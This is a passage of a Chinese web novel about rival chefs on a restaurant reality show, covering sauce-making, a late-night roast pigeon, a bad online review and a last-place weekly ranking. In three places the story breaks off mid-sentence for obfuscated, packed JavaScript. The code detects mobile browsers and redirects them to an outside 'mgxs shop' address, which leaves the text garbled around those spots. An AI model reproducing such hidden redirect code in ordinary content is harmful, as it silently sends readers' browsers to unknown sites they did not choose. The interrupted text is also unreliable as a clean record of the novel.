谭宁用刮擦刀取出青柠的皮屑后切成5mm的薄片。青柠和白砂糖倒入锅中，接下来便是漫长的熬制过程。 熬制时需要保持全程小火，通过低温慢煮提取青柠精油和果皮的芳香物质。糖结晶产生轻微的焦糖化反应会赋予酱汁恰到好处的甜香。 过程中最重要的就是温度控制，需要用到温度计将糖水严格保持在80°C慢煮一小时，切忌让酱汁沸腾，让糖分在锅边自然结晶。 在这个快节奏的时代里，吃饭的时间被无限地挤压。大锅快炒似乎更符合时代趋势，事实也的确如此。 人们很少能腾出一小时的时间安静地享受美食，只要能吃饱，越快越好。 谭宁不评价任何一种生活方式，如果连生存都没办法保证的话，又谈何享受。 当然相应的，她也可以选择更加省时省力的做法。现代的工艺相当成熟，完全可以找到风味准确品质优良的半成品替代。 但谭宁不愿意。 亲手制作一份酱汁，看着它随着时间一点点变成自己想要的状态，她的心也跟着这碗酱咕嘟咕嘟地冒着气泡。 谭宁知道自己是有些理想主义在身上的，不然当初也不会毅然跑到巴黎学厨。 三十万的学费交出去，回国以后空有一身手艺，却绝望地发现早就跟不上市场的变化了。 谭宁同样很固执，让她放弃三年所学去干打心底不认同的事儿，她做不到。 这么说倒不是贬低中餐抬高法餐，各有特色和侧重罢了。就像麓山秋，同样是在中餐上做文章，它就能数十年如一日地保持匠心，不被外界所干扰。 如果有朝一日，自己也能开一家像麓山秋这样的店就好了。 谭宁搅动着锅铲，青柠的清香分子在空气中流动，带起她的层层遐想。 要是能去麓山秋吃一顿，亲自体验它的美味……如果有幸得到陆山大师的指点那就是再好不过了！ 想着想着，陆跃那张臭脸突然浮现出来，拿着锅铲狠狠敲了自己一下。 “做什么春秋大梦呢！”陆跃的咬字颇有嚼劲：“想去麓山秋？门都没有！” “狗东西！”谭宁大力甩动着脑袋，把陆跃摔出十万八千里：“去死吧！！！” 回声打了个转，外头突然响起哗啦啦的动静。谭宁身躯一僵，她迅速关火，眨了眨眼睛。 “谁？” …… 谭宁拿起锅铲，侧着身子小心翼翼地往外走去。 门外黑漆漆的，身侧吹来一阵凉风，谭宁紧了紧手心，听到有脚步声正一点点靠近。 谭宁把身子藏在门与窗户的墙壁之间，双手举起锅铲，在脚步声停下的一瞬间用力挥了出去。 “啊啊啊啊！该死的小偷！竟然敢偷到我店里来了！看我不……” 嗯？ 手腕被人牢牢攥住，力气悬殊，谭宁终于有了危险的感觉。 “你……你放开我……”谭宁死死闭着眼，脸憋得通红。 没想到这“小偷”还挺听话，下一秒便真的松了手。 谭宁试探般地睁开一只眼，沿着对方白色的衬衫往上看去…… “陆跃！”谭宁大大地喘了口气，捂着胸口瞪他：“大晚上你鬼鬼祟祟在这干嘛！” 陆跃活动着手腕，刚刚谭宁突然蹿出来把他吓了一跳。他没好气道：“我还想问你呢！你什么安全意识，用脸探草？” “我我我……” “你结巴了？” “滚！” 陆跃轻哼一声，走到料理台前看到她熬了一半的酱：“你这还能要吗？” “我靠！”谭宁这才想起，赶紧跑过去，一看糖都成霜了。 得，又得重头再来。 谭宁把锅铲往锅里一扔，插着腰找某人的茬儿：“你丫故意的吧陆跃！就知道你没安好心，表面说相信我，结果背地里使阴招！陆跃，这么多年过去你怎么还是这么幼稚！” “咱俩到底谁更幼稚？”陆跃吹走挡在眼前的头发：“我来自己店里还要跟你报备？心脏看什么都脏知道吗？” 陆跃指了指她这一锅废掉的酱：“你有这功夫跟我斗嘴还不如抓紧时间干活，说不定还能回去睡两个小时。” “行。”谭宁气极反笑：“你现在就给我滚出去！不要打扰我干活！” 走就走。 谭宁看着他的背影走到门口，突然停下脚步转过身来。 白炽灯下，他的身子半边明半边暗，露出一个称得上阴森的笑。 “加油干吧谭主厨。要是你的法餐效果不好，厨房的损耗我就只能让你承担了。”陆跃歪了歪脑袋，“不过咱俩好歹同学一场，到时候你按批发价给我就行。” 谭宁一口气差点没上来，砰的一声她把锅铲敲在锅里，用力到泛白。 室内响起咯吱咯吱的磨牙声：“你再不走，信不信我把你切碎一起炖了！！！” …… 两小时后，谭宁把熬好的青柠子姜装进玻璃罐，静置在一旁冷却。 “完美。”谭宁看着晶莹剔透的果酱，满意地笑了笑。 接下来只要把蜜桃酱熬完就可以回家了！ 谭宁边刷锅边转了转僵硬的脖子，缓解酸痛。 低头时，谭宁看到对面的厨房还亮着灯，陆跃的身影在里面忙碌着。 谭宁撇了撇嘴，她真没想到有一天会和陆跃成为同行。 说是同行，其实人家是高高在上的老板，而她只是苦命的打工人。这个世界真是不公平，去过罗马又如何，还是比不过出生在罗马的人。 谭宁心想，等我拿到奖金开了自己的店，什么陆跃什么辣椒碰头都给我通通闪一边儿去，老娘把你们都干翻了！ 想着想着，手上的动作都重了几分，泡沫在空中飞扬，谭宁瞬间又充满了能量，干劲十足。 等熬完蜜桃酱已经凌晨四点多，感觉四肢都不是自己的。 “天呐！”谭宁撑在料理台上拉伸着：“终于做完了！” 弓着腰缓了缓后，开始打扫卫生。这些动作都是刻在骨子里的，闭上眼睛凭着肌肉记忆也能一步不落地做下来。 洗完最后一块抹布，谭宁脱下围裙挂好，全部检查了一遍后熄灯关门。 “咦？” 脚步顿住，谭宁吸了吸鼻子。 好香。 忙了这么久，肚子早就空了。谭宁顺着香源看过去，又猛吸了下鼻子。 是烤过的肉，汁水很足。仔细听，噼里啪啦的响声是表面的脆皮在炸开。 唾液在唇齿间迅速分泌，等反应过来时，她已经走进了厨房。 陆跃正弯着腰把乳鸽从风干炉里拿出来，一转身，谭宁在门口直愣愣地盯着他。 这下陆跃是真的足足被吓了个半死，手上的乳鸽都差点飞了。 他没好气道：“你要报仇也挑时间行不行？” 这乳鸽足足风了四个小时，要是刚刚掉了，陆跃真的会当场把谭宁剁了喂狗。 “对不起啊……”谭宁赔着笑走过去：“我真的不是故意吓你，是你烤的东西太香了，我……” 跟着肚子就响了一声。 谭宁按住肚子，尴尬极了。她抬起头看了眼陆跃，眨了眨干涩的眼：“我饿了。” 陆跃不轻易翻人白眼，除非是忍不住。 他没再看她，用手指轻轻按了按乳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17525936|203498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鸽的表皮。 差不多，可以炸了。 陆跃往锅里倒油，油温烧到140°C时，乳鸽就可以放进去了。 铁夹按着乳鸽，保证每个部位都浸润在油里。五分钟时间到，油锅调至180℃，炸到表皮呈现出红润油亮的色泽就可以夹出来。 谭宁的眼神追随着那只乳鸽，看着陆跃把它从铁盘转移到餐盘上。 甫一把工具按上去，就听到咔擦一声，玻璃纸般薄脆光亮的皮破开，晃一晃还能听到里面汁水的声音，肉香四溢。 咕嘟一声，谭宁咽了咽口水。 稍微冷却后，陆跃从案台上拿了把简单，三下五除二便用剪刀把乳鸽去头后对半剪开。乳鸽不用切，直接抓着腿把肉连着皮撕下来，拿在手里啃就能最大程度地享受到它的美味。 陆跃拿起一块带皮肉放进嘴里，轻轻抿了抿，没一会儿他皱着眉都吐了出来。 “赏你了。”陆跃扬了扬下巴，告诉她那只乳鸽归她了。 “真的？！”谭宁一个猛抬头，瞳孔泛着渴望的光。 “嗯。” “好嘞！”谭宁早就按捺不住，赶紧把整盘乳鸽拿到自己身前，被剪开的嫩肉还在往外冒着白色的雾气。 谭宁拿起一旁的手套戴上，激动地搓了搓手：“哇噻，看上去就很好吃……” 谭宁拿起一只腿，刚吃下去就发出一声惊叹，脆皮在她嘴里发出咯吱咯吱的声音，甜的壳儿配上嫩的肉，一口升天。 陆跃悄悄观察着谭宁，她吃得嘴边手上都是油，满足的表情。 他甚至开始怀疑自己的味觉出了问题，谭宁一个厨师难道没觉得香茅混在里面太突兀吗？ 感受到陆跃的眼神，谭宁猛地抬起头，和他撞个正着。她下意识把盘子往自己身前一拉，嘴里还含着嚼了一半的肉。 就剩最后一个腿了：“你……要吃吗？” “呵。”陆跃终于是没忍住笑了：“你从法国逃荒回来的？” 谭宁咽下嘴里的肉，确定他不要才开始慢慢品味最后一只鸽腿。 刚要下嘴，她又想起什么，对他笑了一下：“要不我替你尝尝外面酒柜的干红？” 陆跃回了她一个同样的微笑：“梦里什么都有。” “切。”谭宁撇了撇嘴，却只敢在心里骂他小气。她解决完最后一只腿，把手上的汁水都舔干净后满足地摸了摸肚皮。 “好吃吗？”寂静的夜里，陆跃的声音听上去有点紧。 “好吃啊！”谭宁毫不吝啬地夸奖着这道菜：“外皮酥脆，每一口都有汁水。” 谭宁回味着，轻轻咋舌：“就是吃到后面有点腻，配上微酸的ChiantiClassico那就完美了。” 陆跃实在没忍住，问：“你没吃到香茅的味道吗？” “吃到了呀！”谭宁正要说呢：“你知不知道意式烤乳鸽会在鸽腹里塞迷迭香和鼠尾草一起烤？当时我就觉得这两种香草味道太浓烈了，掩盖了乳鸽的原味。” “今天吃了你做的这个我觉得香茅倒是挺不错的，你是提前把乳鸽用香茅汁腌制吗？ “对。”陆跃顿时起了兴致：“这次我腌了十个小时，感觉味道还是重了。” 这道玻璃乳鸽陆跃做了很多次，腌制的时间从五个小时到十二个小时都尝试过，不是太浓就是太淡，总是没找到最完美的口感。 “没想到你这么执着。”谭宁没忍住多看了他几眼：“其实也不一定是时间的问题，香茅本身就是酸的，刷脆皮水的时候你可以试着减少柠檬的用量。” 陆跃眨了眨眼，这点他倒是没想过。谭宁这么一说，他马上转到另外一边去确定脆皮水的配方。 “我记得麓山秋的招牌菜不就是脆皮乳鸽吗？”谭宁看过去：“你与其在这埋头苦干还不如回去问问你爷爷呢！” “你管我。”陆跃抬头看了她一眼，语气不善：“我乐意。” 谭宁才没空管他，她困意袭来，打了个哈欠，眼睛直往外冒酸水。 “随你咯，我要回去睡觉了。” 陆跃往外看去，天已经蒙蒙亮。他挥了挥手：“走吧，准你晚一个小时来上班。” “呵呵。”谭宁掀了掀眼皮：“你可真大方。” 陆跃头都没抬：“知道就好。” 8. 《主厨的战场》 谭宁上午九点重新回到店里时，陆跃已经走了。 陆跃不在，弹幕都清净了许多。谭宁呼吸着新鲜的空气，尽管只睡了三个小时仍然觉得神清气爽。 进厨房后，谭宁照例交待了一些事项，“那就按照昨天的分工开始工作吧，今天上午我们做青柠吞拿鱼！” 因为试吃阶段还需要正常供应菜单上的菜品，法餐这边的工作人员被压缩到只剩下三位。 谭宁在切早上送来的吞拿鱼，而shake和默默则在准备泡鱼肉的柠檬汁。 柠檬酸可以让鱼肉的蛋白质变性，浸泡后质地会变成不透明的紧实状态，类似于煮熟了。 柠檬和青柠对半片开，用榨汁器取出汁水，纱布过滤后按比例混合。 谭宁边切肉边盯着这边的进度，喊了一声。 她拿起旁边放着的ph试纸，把酸碱度平衡到ph值为2，用来泡鱼肉的柠檬汁就准备好了。 切好的吞拿鱼放进去浸泡30分钟，届时鱼肉会呈现出均匀的淡粉色，处于三分熟的状态。质地紧实但汁水丰富，口感兼具弹性和柔嫩。 谭宁预想的是在顾客来之前能做好所有的准备工作，到时候随时出餐。可她明显高估了他们工作的效率，也低估了时间流逝的速度。 路过的人从窗口望去，看到里面一幅手忙脚乱的画面。 “主厨！帮我看一眼料汁这个状态行不行？” “谭宁姐，刺身的肉好像软了，要重新放进去吗？” “谭主厨！又有一桌客人要走了！你这边能出餐了吗？” …… “能！能！能！”谭宁跟着着急上火，额头上都是闷出来的汗。她吹开散下来的碎发，对着出餐口的三七店长比了个数字：“再给我五分钟，马上好！” 谭宁深吸一口气，告诉自己要保持冷静，不能慌。 “默默，这批刺身放回去，拿新的出来摆盘。” “好。” 安排完这边，谭宁接过shake手里的料汁，吩咐他：“去把醒好的鱼腩拿出来。” 谭宁清脆的嗓音像雨水滴落在岩石上，默默和shake在她的指挥下慢慢找到了节奏。 一排排的刺身摆好盘，谭宁往上面依次浇青柠子姜酱。 粉色的刺身搭配淡绿的青柠，一眼望去，暑意都减了三分。 “可以了，出餐吧。” 叮叮的出餐铃响起，一盘盘青柠吞拿鱼厨房端走，经由服务员之手送到顾客的餐桌上。 “您好，咱们店现在在做活动。您在红薯上发一篇宣传帖就可以免费获得试吃。这是主厨刚做好的青柠吞拿鱼刺身，您要试试吗？” “好啊好啊。那我和我朋友发一篇帖子能拿两份吗？” “可以的。”三七店长盈盈一笑：“谢谢您帮我们宣传。您慢用，有什么需要的话随时叫我。如果您对试吃的菜品有什么意见的话，在门口有一个意见箱，欢迎您对我们的菜品进行评价。” 不一会儿，准备的三十份试吃就全部送了出去。有位客人临走前路过西厨餐厅，探头进来问还有没有。 “抱歉啊。”谭宁勾了勾唇：“今天的试吃已经供应完了，要是喜欢的话您可以等正式营业的时候再来。” “哦。”客人转了转眼珠，略显失望地走了。 下午两点闭店，谭宁把大家召集在一起复盘上午的工作。 “对不起谭主厨。”默默低着头，语气沉重：“是我没记清楚你给的配方才导致工作出错。” “害！”谭宁拍了拍他的肩膀：“没事的，第一天难免会有点乱。” 上午谭宁也是慌了，不管是在学校还是餐厅实习，身边的同事都很专业，大家配合起来就像严丝合缝的齿轮，不会失误。 她把这种思维带回来，在潜意识里默认安排给大家的事情他们都能够独立处理好。但事实证明，半天的时间让没有接触过法餐的人适应新安排，确实有点赶鸭子上架了。 “你们不要有压力，遇到困难就解决。” “法餐最重要的就是把握时间和顺序，咱们再从头梳理一遍出餐流程，明确一下每个人什么时候需要做什么，行吗？” 谭宁插着腰，看向两人。 “好。” “没问题。” 等梳理完三个人又开始准备明天的试吃食材，蜜桃酱谭宁已经做出来了，现在要用它来做冰淇淋。 这款冰淇淋用的是gelato的做法。把白桃果酱和奶粉、木薯淀粉以及白砂糖放锅里加热搅拌，冷却后放进冰淇淋机等待制作完成就可以。 巴巴蛋糕的部分，谭宁把配方交待好后放心地交给了默默。 这时三七店长过来，说陆跃找她。 “哦，好。”谭宁昏头昏脑地出了门，扎进厨房忙了一天，她都不知道陆跃什么时候来的。 摄像大哥也是来了精神，时刻记得谷子导演交待的多拍二人互动。 “怎么了？找我什么事？”谭宁推门进去，陆跃和王师傅背对着她。 这会儿谭宁脑子转得慢，鼻子倒依旧很灵。 “哎，你又做乳鸽啦？”谭宁跑过去：“这次感觉怎么样？” 陆跃转过身，一只手撑在案台上：“你试试呢？” “行。”谭宁戴上手套，拿了一块肉放嘴里。 汁水在嘴里爆开，陆跃果然听了她的调低了柠檬的比例，酸味降低了很多，鸽肉的鲜嫩就体现出来了。 “嗯？”嚼着嚼着，谭宁尝到一抹不寻常的甜味，不是香草，倒像是…… “你放什么啦？怎么感觉有回甘？”谭宁抬起头看他，眼睛亮亮的。 陆跃脸上勾起一抹得意的笑：“我把腌肉的白酒换成了葡萄酒，怎么说？还不错吧？” 原来如此。谭宁挑了挑眉，“这就是你昨晚不让我喝的原因？” 陆跃笑而不语。昨晚谭宁走后，他想起她说过的话，突发其想用干白试了试，没想到还真的歪打正着了。 这里面的真相当然不能告诉谭宁，不然她又要顺着杆子往上爬了。 “这次的乳鸽味道确实可以。”王师傅也表示认可，他笑眯眯地看着谭宁：“小谭，自从你来以后，咱们店菜品研发的灵感都蹭蹭冒出来了！” “哈哈哈……”谭宁掩着嘴不好意思地笑：“王师傅你这么说我可要骄傲了！” “行了。”陆跃咳了一声：“这个也加进新菜单里吧。” “得嘞！” 解决完这边，陆跃腾出手来跟谭宁算账：“听说你今天上午差点没出来餐？” “呃……”谭宁的舌头绊了一下，她略带心虚地支吾道：“是有那么一……点极限，但好在后来都解决了。” “是吗？”陆跃脸上就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17525937|203498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 写着不相信：“我怎么听店长说有人回去给我们写差评了？” ！ “什么时候？写什么了？怎么没人告诉我啊？” 谭宁一头雾水，陆跃直接把手机掏出来让她看。 这个ID叫绵绵冰小羊的用户在中午十二点四十七分发了一条帖子，谭宁的脸几乎贴着屏幕，一字一句铿锵有力地把内容念了出来。 “避雷海棠街的这家饭店！最近刷了好多他们家的帖子，正好今天和朋友过来逛街就想着来试试：味道中规中矩吧，没什么特别的，也就环境还不错……” 好，关键的来了。 “店里在搞什么试吃活动，说好的发一条帖子就可以试吃，结果我们发了以后半天都没端上来。一问，竟然说没有了！！！主厨还摆出一副臭脸，服务态度很差！以后不会再来了！” 这条帖子底下目前已经有一千多条评论，评论区堪称“受害者联盟”聚会。 【终于有人敢说了，他们家的服务态度一直都很差，关键是营销还巨多，去了一次就再也不想去了。】 【是不是最近还参加了综艺的那个？什么试吃，一看就是新搞的噱头，专门骗你们的免费宣传。】 【不是，玩不起就别搞什么免费试吃啊！发了帖子又说没有了，当别人好欺负啊！】 【感谢博主壁垒，关注了。】 …… 谭宁点进去一看：嚯，还是个有几千粉丝的探店博主。 这下算是踢到铁板了。 “我靠！”谭宁气得脑袋充血：“她这完全就是血口喷人信口雌黄捏造事实啊！” “三七都跟我确认过的，只要发了帖子的桌每位顾客都有试吃，什么叫发完以后说没有了！这人明摆着是找茬！而且我什么时候臭脸过？拜托！我这是天生的微笑唇好吗？！” 谭宁掰着自己的嘴，急切地向陆跃证实。 “我问过三七了，也调了监控，确实当时给他们那一桌的人都发了一份。是她后来临走前还想吃去问你被拒绝了。” 谭宁想起来了：那女孩看着文文静静的，谁能想到转身就把她给挂网上了！ 谭宁真是欲哭无泪：“那现在怎么办？我再做一份给她送去？” “你就别去找骂了。”陆跃伸手把她拉了回来：“我让三七联系过对方了，这条帖子的流量还在上涨，人家不愿意删。” “这事本来也是我们理亏。我看过了，你挂的试吃牌上也没写限量供应，自己留了个漏洞，怪不得别人钻。” “靠！”谭宁又气又怒地爆了句粗口，今天一天她在厨房间里忙得晕头转向，连口水都没喝上。 稀少的睡眠，混乱的工作，还有这操蛋的差评！！！ 谭宁现在恨不得把这个世界都炸了，毁灭吧。 但还没完，节目组也是不嫌事大，这时候递来一张通知卡。 陆跃接过来，当着摄像机打开。 “尊敬的主厨大人：明天就是另外两位主厨来访的日子了，相信您已经做好了充分的准备。温馨提示：一周已过，等三位主厨聚齐，节目组将公布这一周的营业额排名情况。每周排名第一的店铺都可以获得神秘嘉宾的助力，还剩不到24小时的时间，主厨大人，加油！” 苍天啊！谭宁听完对着天花板大喊一声，这简直就是屋漏偏逢连夜雨，南村群童欺我老无力啊！！！ 9. 《主厨的战场》 陆跃把节目卡塞回信封，回头便看到谭宁一副如临大敌视死如归的表情。 “去做试吃的准备，这事儿你就别管了。”陆跃说。 “可是……”谭宁被他推着，心里仍记挂着黑稿的事情：“不然再让我去和她沟通一下吧，这么挂着也不是个事啊……” “怎么沟通?给她送菜品还是低声下气地道歉？”陆跃挥了挥手赶她走：“这些东西比得上泼天的流量？” “别傻了，干你的活去。” 谭宁就这样一步三回头地出去了，想起陆跃撑在案台上的背影，谭宁心里很不是滋味。 不管是黑稿还是明天的突袭，都是她导致的。按照陆某人的尿性，他应该统统扔给她，并且狠狠打压和奚落她才对。可他非但没有，还全部揽到自己身上。 谭宁在心里对自己说：无论如何她也不能拖大家的后腿，明天一定要交出满意的答卷。 调整好情绪，谭宁回到西厨房，刚走到门口，就听到里面传来一声一声的巨大动静。 谭宁推门进去，默默正在做蛋糕，戴着口罩的嘴叽里咕噜说个不停。 “靠！这比例真TM麻烦！Fxxx！” “老子最讨厌做蛋糕了，这Fxxxing玩意儿到底是谁爱吃？！” “你们这些糖油混合物都给我滚进烤箱！Fxxx！” …… 谁懂这一幕的冲击力，谭宁站在原地一动也不敢动。 “默默……默默……”谭宁小心翼翼地开口：那个……你没事吧？” 默默充耳不闻，手上动作不停，还在往外蹦着那些Fxxx词汇。 此刻的弹幕已经笑晕了。 【震撼，这就是法式蛋糕吗？】 【全世界倒数第一有礼貌的甜品师出现了。】 【哈哈哈哈……刚刚画面抖了一下，摄影大哥也被惊到了吗？】 【家人们这蛋糕看着好好吃，我要立刻下单十份！】 【不是，你好的坏的？】 …… 旁边的shake倒是面色很平静。 “习惯了就好，他一直都这样。”他说。 啪！啪！啪！ 随着一阵剧烈的声音响起，默默一下下把面团甩在案板上起筋。 谭宁跟着一抖一抖，她飞速跑到shake身边，躲在他身后：“怎么我一回来就这样了？这是被夺舍了吗？” “没有。默默讨厌做蛋糕，他一做蛋糕就跟开了狂暴一样。” “啊？”谭宁挠了挠头：“可他不是甜品师吗？” “是，但这跟他讨厌做蛋糕不冲突，谁叫人家天赋就点在那儿呢！” 呃，好像有点道理。 “好吧。” 适应之后，谭宁觉得把这动静当背景音还挺有用，她现在浑身也像打了鸡血一样。 第二天，该来的还是来了。 这一次有了节目组的授权，两位嘉宾就这么大摇大摆地进来，更加显得谭宁上次的小心伪装像个笑话。 尤其是屿夏那边，来一个主厨还不够，身后还跟着好几个人。 谭宁在后面跟陆跃吐槽：“他们今天是关店吗？来这么多人。” 谁说不是呢。陆跃嗤笑一声，当作回应。 “陆老板的店真是别致啊，不愧是从国外留学回来的。看看这窗户，这布局，这画……啧啧啧，我要是顾客我也愿意来。你说是吧，吴迪？” 吴迪憨憨地笑了笑，“对。” 正值营业时间，店里还坐在好几桌客人，李侃星就这么大摇大摆地晃来晃去，关键说话声音还不小。 谭宁皱着眉，这家伙该不会是故意来砸场子的吧！ “二位，这边还有顾客在用餐，麻烦参观的时候小点声，谢谢。” 谭宁出言提醒，李侃星哦了一声，牵动嘴角露出一个人畜无害的笑：“那不然请谭主厨带我们去厨房参观？这样就不用担心打扰客人用餐了。” “啊？”谭宁人都懵了，节目组也没说有参观后厨这个项目啊。 李侃星长了一张迷惑性极强的脸，线条清晰流畅，一双天生的下垂眼点缀在上方，笑起来梨涡浅浅，弹幕直呼心都化了。 弄得谭宁都不确定他是找事还是真无辜了。 这时陆跃从后面出来，站在她身前：“先前我们并没有去到你们的厨房，也没有影响你们的正常经营。你那么讲究公平，不如先把自己管好。” 啪啪啪，谭宁在心里给陆跃鼓起掌来，嘴替啊。 李侃星嘴角一抽，随后又轻笑说：“开个玩笑而已，陆老板何必这么较真~果然留学的回来就是不一样哈，严谨。” “李旺勺，我留学这事儿怎么你了？从进来开始就说个不停，你一个厨子，净关注这些无关紧要的破事儿，对得起你师傅他老人家的教导吗？” “我我我……”李侃星的脸噌的一下就红了，指着陆跃半天说不出一句话来。 “我什么我？”陆跃伸长脖子，还在挑衅：“哦，我忘了。你现在改名了，叫什么李……侃星？唉，我看这名字起得不如你师傅，让人算过没有？新名字能不能让你赢这次的比赛？” “你！” “行了。”陆跃从不恋战，尝到一点甜头就走，绝不给对方反应过来回击的机会：“来都来了，找个地方坐吧。我这人向来大方，这顿饭算我请的，用餐愉快。” 【果然，陆总的嘴从来不会让我失望！】 【神TM用餐愉快哈哈哈，看给人气成啥样了！】 【小星星不哭，到姐姐怀里来~】 【上面的喝几杯啊，就醉成这样。】 【不是，你们不觉得陆总和李主厨也很好磕吗？霸道总裁和他的小娇夫，你细品……】 【你要这么说谭主厨和李主厨也能嗑呢，两个小太阳。】 【我去华生！不管了，我先磕为敬，你们三个把日子过好比什么都强！】 …… “行啊。”李侃星眼中闪过一抹不易察觉的狠厉，转瞬即逝，又被他纯净的笑容覆盖住：“那就多谢陆老板款待了。” “谢谢啊。”吴迪跟在李侃星后面往前走，回过头对陆跃笑了笑。 谭宁近距离地观看了一出好戏，人都走了，她还意犹未尽地站在那儿回味。 陆跃在她面前敲了个响指：“今天的试吃还要不要出了？还不赶紧去干活！” “知道了知道了。”谭宁转身往厨房走，陆跃跟在她身后。 她终于还是没忍住，问道：“你跟那个谁以前认识啊？” “嗯。”陆跃说：“他师傅是我爷爷的朋友。” “哦~~~”难怪呢，他还知道人家的小名，“你们有过节？” “很明显。”陆跃眯了眯眼：“是他单方面的嫉妒我。” ？ 谭宁谈话的好心情都被他毁了，男人过度自信的样子真的很让人养胃。 “呵呵。”谭宁拍拍他的肩膀：“自信是好事，但你有点自信过头了兄die～” “是吗？”谭宁走后，陆跃有些困惑地挠了挠脑袋。一抬头，看到自己印在玻璃窗上的身影。 宽肩窄腰，玉树临风，厨师服下是只有自己知道的紧实肌肉的…… 啧啧啧。 陆跃颇为欣赏地看了好一会儿，走的时候步伐都轻快了许多。 谭宁她懂个屁，真是山猪吃不了细糠。 不对，他陆跃怎么会是糠？ ……

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17525938|203498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 说回今天的试吃菜品，蜜桃兰姆巴巴蛋糕。 新鲜出炉的巴巴蛋糕个个金黄松软，上宽下窄，像一个个小蘑菇分布在烤盘中。 取出来以后，用冰镇过的朗姆酒浸泡蛋糕，搭配上香草奶油和蜜桃冰淇淋，用一点白桃果酱点缀即可。 微醺的酒香与蜜桃的清甜交织，给舌尖带来一场丰富的味蕾体验。 吸取昨天的教训，谭宁今天的准备相当充足，三人的配合也逐渐默契，出餐速度蹭蹭上涨。 客人离店时路过窗边，还专门跑过来夸了夸这道甜品。 “真没想到能在星城吃到这么正宗的法味，什么时候正式营业？到时候我一定要来正式地尝尝！” 谭宁听了别提有多高兴了，感觉又可以怒烤三十个蛋糕出来。 但她的高兴并没持续太久，中途歇业的时间，节目组把大家召集起来，说要宣布上周的排名情况。 谷子导演坐在三位主厨对面，手里拿着信封。 “各位好，现在我手里拿的就是三家店上周的营业情况，大家是想先听排名最高的还是最低的？” “最高的！”大家异口同声。 谷子导演笑笑：“在争第一这方面三位主厨倒是出奇的统一。好，那我宣布，上周营业额排名第一的店就是……” 旁边围着乌泱泱的一群人，蝉鸣夹杂着沉重的呼吸声，把紧张的气氛推向高潮。 弹幕也同样在焦急地等待着，猜测着结果。 【感觉应该是半斗米吧，看直播的时候就发现他们店的人是最多的。】 【辣椒碰头的人也不少啊！尤其这几天还有免费试吃，我投辣椒碰头一票！】 【我也站辣椒碰头！】 【怎么没人说屿夏啊，没记错的话屿夏的定价是最贵的。比的是营业额又不是人流量，我觉得屿夏也很有竞争力。】 【怎么还不说啊，不会是我的网卡了吧？】 【快说吧导演，急急急！】 …… 谷子导演脸上露出一抹神秘的微笑，长久的停顿后，终于公布答案。 “本周的冠军，他就是——” “半斗米！” “耶斯！”吴迪激动地蹦起来，笑得眼睛只剩两条缝。 “恭喜半斗米！之前说过我们说过获得周冠的店铺将会有神秘嘉宾助力，那么本周的神秘嘉宾就是……” “是明星吗？还是米其林大厨？”吴迪兴奋地拍了拍手。 “本周的神秘嘉宾就是……”谷子导演揭晓答案：“网红经理人和餐厅顾问——William老师！ 玩过自媒体的人对William老师都不会陌生，全国许多知名的餐饮品牌在初期都有他的操盘和运营。本人是从蓝带毕业的厨师，又深谙营销之道，这个助力可以说让在场的人分外眼红了。 “第一名已经宣布完了。李主厨，谭主厨，要不要猜一猜你们两家店谁是第二、谁是第三？” “哎呀导演你就别卖关子了，快说吧！” “是啊是啊，导演快说吧！” “好。”谷子导演笑了笑，“那我就按顺序说，本周的第二名是……” 谭宁的心怦怦直跳，虽然与第一名失之交臂，但也不至于是最后一名吧……她看了眼旁边的李侃星，他挺着胸脯仿佛志在必得的样子。 不行不行，自己的失败固然可怕，但对手的成功更加让人痛心。 她绝对不可能输给李侃星！ “屿夏！” 李侃星从善如流地对着镜头笑了笑，“谢谢大家喜欢，我们会继续努力的。” 伴随着阵阵掌声，谭宁一个没坐稳，差点从椅子上摔下去。 她竟然是……最后一名！！！ 10. 《主厨的战场》 节目组和嘉宾相继离开后，谭宁一声不吭的把自己关进厨房。 不多时，厨房里便传来乒乒乓乓的声音。 默默和shake手足无措地站在门口，进也不是，走也不是。 “哟，这是怎么了？”从外面进来的王师傅看见门口围了一堆人，好奇地凑了过来。 “刚刚节目组宣布了咱们店上周营业额垫底，谭宁姐接受不了，一出来就……” “垫底？！”王师傅瞪大眼睛：“咱们店有这么差吗？” “就是说呢。”七喜撅着嘴嘟囔：“我看最近营业额比以前还多了不少，怎么能是最后一名呢！” …… “啊！我知道了！”shake突然大喊一声：“肯定是节目组故意的！” 哦？ shake把手机打开，调出小红书：“你们看这个William老师，有没有觉得很熟悉？” 大家左看右看，上看下看，也没看出个所以然来。 “怎么？你认识？”王师傅问。 “不是！”shake急得差点跳起来：“你们没觉得他跟陆总有点像吗？” “啊？？？” 人群中传来阵阵疑问。 “不是shake，你啥眼神啊！他俩不能说一模一样，只能说毫无关系好吧！” “就是啊，咱陆总帅多了好吗？” 